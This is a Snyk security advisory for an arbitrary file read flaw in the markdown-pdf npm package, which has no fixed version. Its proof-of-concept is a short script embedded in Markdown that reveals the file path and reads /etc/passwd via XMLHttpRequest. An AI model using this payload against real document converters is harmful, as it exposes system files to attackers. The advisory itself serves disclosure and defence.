Arbitrary File Read Affecting markdown-pdf package, versions *
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.23% (62nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MARKDOWNPDF-5411358
- published 5 Apr 2023
- disclosed 5 Apr 2023
- credit Carlos Bello from Fluid Attacks' Offensive Team.
How to fix?
There is no fixed version for markdown-pdf.
Overview
markdown-pdf is a Markdown to PDF converter.
Affected versions of this package are vulnerable to Arbitrary File Read due to improper validation of the Markdown content entered by the user.
PoC
<script>
// Path Disclosure
document.write(window.location);
// Arbitrary Local File Read
xhr = new XMLHttpRequest;
xhr.onload=function(){document.write((this.responseText))};
xhr.open("GET","file:///etc/passwd");
xhr.send();
</script>
References
CVSS Scores
version 3.1